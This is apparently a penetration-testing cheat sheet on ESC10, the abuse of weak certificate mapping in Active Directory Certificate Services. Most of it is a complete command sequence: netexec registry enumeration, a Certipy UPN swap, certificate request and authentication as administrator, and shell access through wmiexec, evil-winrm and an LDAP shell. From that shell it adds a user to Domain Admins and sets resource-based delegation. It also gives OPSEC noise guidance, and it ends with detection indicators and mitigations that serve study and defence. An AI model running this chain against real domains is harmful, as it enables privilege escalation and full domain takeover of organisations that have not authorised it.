esc10-weak-certificate-mapping.md (8004B)
1 --- 2 title: "ESC10 — Weak Certificate Mapping" 3 description: "ESC10 exploits weak certificate-to-account mapping enforcement on the Domain Controller. When the DC receives a certificate for authentication, it must…" 4 category: active-directory 5 subcategory: "ADCS & Certificates" 6 tags: ["active-directory", "kerberos", "adcs"] 7 tools: ["NetExec", "Certipy", "BloodHound", "Evil-WinRM"] 8 difficulty: advanced 9 updated: "2026-08-10" 10 source: "vault:ActiveDirectory/ACL-ESC-Techniques/ESC10 — Weak Certificate Mapping.md" 11 --- 12 # ESC10 — Weak Certificate Mapping 13 14 ## Quick Reference 15 16 | Field | Value | 17 |-------|-------| 18 | **Category** | DC Configuration Abuse | 19 | **Difficulty** | Medium | 20 | **Pre-requisites** | GenericWrite over an account + weak mapping registry settings on DC | 21 | **Tools** | Certipy, BloodHound, netexec | 22 | **OPSEC Noise** | Medium — UPN/DNS attribute changes generate AD change events | 23 | **One-liner** | Abuse weak certificate-to-account mapping on the DC to impersonate any user via UPN/DNS swap, similar to ESC9/ESC16 but caused by DC registry settings. | 24 25 *** 26 27 ## What Is ESC10? 28 29 ESC10 exploits **weak certificate-to-account mapping enforcement** on the Domain Controller. When the DC receives a certificate for authentication, it must determine which AD account the certificate belongs to. This "mapping" process can be **strong** (cryptographically verified via objectSID extension) or **weak** (trusting the UPN/DNS in the certificate without SID verification). 30 31 ESC10 has **two distinct variants** based on which authentication protocol uses weak mapping: 32 33 | Variant | Protocol | Registry Key | Vulnerable Value | 34 |---------|----------|-------------|-----------------| 35 | **ESC10a** | Kerberos (PKINIT) | `StrongCertificateBindingEnforcement` | `0` | 36 | **ESC10b** | Schannel (LDAPS/TLS) | `CertificateMappingMethods` | Contains `0x04` (UPN mapping bit) | 37 38 *** 39 40 ## ESC10 vs ESC9 vs ESC16 — Why They Look Similar But Aren't 41 42 All three use UPN/DNS swap → request cert → restore. The **root cause** differs: 43 44 | | ESC9 | ESC10 | ESC16 | 45 |---|---|---|---| 46 | **Root cause** | Template flag `CT_FLAG_NO_SECURITY_EXTENSION` | **DC registry weak mapping** | CA-wide `DisableExtensionList` | 47 | **SID extension in cert?** | ❌ (template strips it) | ✅ (SID IS present, but DC ignores it) | ❌ (CA strips it) | 48 | **Where weakness lives** | Certificate Template | **Domain Controller** | Certificate Authority | 49 | **Blocked by StrongBinding=2?** | ✅ | ❌ ESC10a requires value=0 | ❌ | 50 51 *** 52 53 ## Required Conditions — ESC10a (Kerberos) 54 55 | Condition | Where to Check | 56 |-----------|----------------| 57 | `StrongCertificateBindingEnforcement = 0` on DC | Registry: `HKLM\SYSTEM\CurrentControlSet\Services\Kdc` | 58 | Attacker has `GenericWrite` over an account | BloodHound ACE edges | 59 | That account can enroll in a Client Auth template | Template enrollment rights | 60 61 ## Required Conditions — ESC10b (Schannel) 62 63 | Condition | Where to Check | 64 |-----------|----------------| 65 | `CertificateMappingMethods` contains UPN bit (`0x04`) | Registry: `HKLM\System\CurrentControlSet\Control\SecurityProviders\Schannel` | 66 | Attacker has `GenericWrite` over an account | BloodHound ACE edges | 67 | That account can enroll in a Client Auth template | Template enrollment rights | 68 | LDAPS is enabled on DC | Port 636 accessible | 69 70 *** 71 72 ## Step 0 — Enumeration 73 74 ```bash 75 # Check StrongCertificateBindingEnforcement 76 netexec smb $TARGET -u 'lowpriv' -p 'Password123!' \ 77 -x 'reg query "HKLM\SYSTEM\CurrentControlSet\Services\Kdc" /v StrongCertificateBindingEnforcement' 78 # 0 = ESC10a exploitable 79 # 1 = Compatibility mode (may still work in some scenarios) 80 # 2 = Full enforcement (blocked) 81 82 # Check CertificateMappingMethods 83 netexec smb $TARGET -u 'lowpriv' -p 'Password123!' \ 84 -x 'reg query "HKLM\System\CurrentControlSet\Control\SecurityProviders\Schannel" /v CertificateMappingMethods' 85 # If value contains 0x4 = UPN mapping enabled = ESC10b exploitable 86 # Default value 0x1F = ALL methods enabled = ESC10b exploitable 87 88 # Standard certipy scan 89 certipy-ad find -u 'lowpriv@domain.htb' -p 'Password123!' \ 90 -dc-ip $TARGET -vulnerable -stdout 91 ``` 92 93 *** 94 95 ## ESC10a Full Attack Chain — Kerberos (UPN Swap) 96 97 The chain is similar to ESC9/ESC16 — swap UPN, request cert, restore, authenticate. 98 99 ### Step 1 — Note Current UPN of Controlled Account 100 ```bash 101 certipy-ad account \ 102 -u 'lowpriv@domain.htb' \ 103 -p 'Password123!' \ 104 -dc-ip $TARGET \ 105 -user 'targetuser' \ 106 lookup 107 # Note: targetuser@domain.htb 108 ``` 109 110 ### Step 2 — Swap UPN to Administrator 111 ```bash 112 certipy-ad account \ 113 -u 'lowpriv@domain.htb' \ 114 -p 'Password123!' \ 115 -dc-ip $TARGET \ 116 -user 'targetuser' \ 117 -upn 'administrator' \ 118 update 119 ``` 120 121 ### Step 3 — Request Certificate 122 ```bash 123 certipy-ad req \ 124 -u 'targetuser@domain.htb' \ 125 -p 'TargetPass!' \ 126 -dc-ip $TARGET \ 127 -ca 'DOMAIN-CA-NAME' \ 128 -template 'User' 129 130 # Certificate WILL contain objectSID of targetuser 131 # But StrongCertificateBindingEnforcement=0 means DC ignores it 132 ``` 133 134 ### Step 4 — Restore UPN Immediately 135 ```bash 136 certipy-ad account \ 137 -u 'lowpriv@domain.htb' \ 138 -p 'Password123!' \ 139 -dc-ip $TARGET \ 140 -user 'targetuser' \ 141 -upn 'targetuser@domain.htb' \ 142 update 143 ``` 144 145 ### Step 5 — Authenticate 146 ```bash 147 certipy-ad auth \ 148 -pfx administrator.pfx \ 149 -username administrator \ 150 -domain domain.htb \ 151 -dc-ip $TARGET 152 153 # DC maps cert to administrator via UPN (ignoring SID mismatch) 154 ``` 155 156 ### Step 6 — Shell 157 ```bash 158 export KRB5CCNAME=administrator.ccache 159 wmiexec.py -k -no-pass DC01.domain.htb 160 evil-winrm -i $TARGET -u administrator -H <NTHASH> 161 ``` 162 163 *** 164 165 ## ESC10b Full Attack Chain — Schannel (LDAPS Auth) 166 167 ESC10b is different — instead of using PKINIT for Kerberos auth, you authenticate directly to **LDAPS** using the forged certificate. The DC's Schannel provider maps the cert to a user via the weak UPN method. 168 169 ### Steps 1–4 — Same as ESC10a (UPN swap, request cert, restore) 170 171 ### Step 5 — Authenticate via Schannel (LDAPS) 172 173 ```bash 174 # Use certipy with -ldap-shell flag for Schannel authentication 175 certipy-ad auth \ 176 -pfx administrator.pfx \ 177 -username administrator \ 178 -domain domain.htb \ 179 -dc-ip $TARGET \ 180 -ldap-shell 181 182 # This gives you an LDAP shell as administrator 183 # From here you can: 184 # - Add yourself to Domain Admins 185 # - Perform Shadow Credentials attack 186 # - Dump LDAP data 187 188 # In the LDAP shell: 189 > add_user_to_group administrator "Domain Admins" 190 > set_rbcd EVILPC$ DC01$ 191 ``` 192 193 > 💡 ESC10b via Schannel is particularly useful when PKINIT is disabled or when `StrongCertificateBindingEnforcement` is set to 2 (blocking ESC10a) but `CertificateMappingMethods` still has UPN mapping enabled. 194 195 *** 196 197 ## OPSEC Considerations 198 199 | Action | Log Generated | Noise Level | 200 |--------|--------------|-------------| 201 | Registry query (remote) | Security Event 4688 (process creation) | 🟡 Medium | 202 | UPN modification | Event ID 4738 (user account changed) | 🔴 High | 203 | Certificate request | Event ID 4886/4887 on CA | 🟡 Medium | 204 | LDAPS auth (ESC10b) | Event ID 4624 Type 10 via TLS | 🟡 Medium | 205 206 *** 207 208 ## Detection Indicators 209 210 - **Event ID 4738** — Rapid UPN change + revert (same pattern as ESC9/ESC16) 211 - **Event ID 4887** — Certificate issued where embedded SID doesn't match the UPN 212 - **Registry monitoring** — `StrongCertificateBindingEnforcement` or `CertificateMappingMethods` changed from enforced to weak values 213 - **LDAPS auth anomalies** — Certificate-based LDAPS logon from unexpected source IPs (ESC10b) 214 215 *** 216 217 ## Mitigation 218 219 - **Set `StrongCertificateBindingEnforcement = 2`** on all DCs — this is the single most important fix 220 - **Remove UPN mapping bit from `CertificateMappingMethods`** — set to `0x18` (SHA1 PublicKey + IssuerSerialNumber only) instead of the default `0x1F` 221 - **Audit `GenericWrite` ACEs** — the pre-requisite for the UPN swap 222 - **Apply KB5014754** and move beyond the compatibility period 223 - **Monitor UPN attribute changes** — alert on any `userPrincipalName` modification